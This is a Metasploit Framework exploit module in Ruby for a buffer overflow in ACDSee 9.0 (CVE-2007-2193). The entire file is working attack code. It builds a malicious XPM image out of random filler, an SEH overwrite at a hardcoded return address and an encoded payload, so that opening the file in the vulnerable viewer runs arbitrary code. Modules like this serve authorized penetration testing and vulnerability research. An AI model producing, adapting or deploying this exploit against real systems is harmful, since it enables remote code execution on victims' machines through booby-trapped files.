metasploit-framework/modules/exploits/windows/fileformat/acdsee_xpm.rb

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ACDSee XPM File Section Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in ACDSee 9.0.
					When viewing a malicious XPM file with the ACDSee product, 
					a remote attacker could overflow a buffer and execute 
					arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '23620' ],
					[ 'CVE', '2007-2193' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},					
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'   =>  'True',
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ], 
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 23 2007',
			'DefaultTarget'  => 0))

                        register_options(
                                [
                                        OptString.new('FILENAME', [ false, 'The file name.',  'msf.xpm']),
                                        OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
                                ], self.class)

	end

	def exploit

		filler = rand_text_alpha_upper(rand(25) + 1)

		# http://www.fileformat.info/format/xpm/
		head =  "/* XPM */\r\n"
		head << "static char * #{filler}[] = {\r\n"
		head << "\""
		
		buff =  rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
		
		foot =  "\",\r\n" + "};\r\n"

		xpm = head + buff + foot
	
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(xpm)
		
	end

end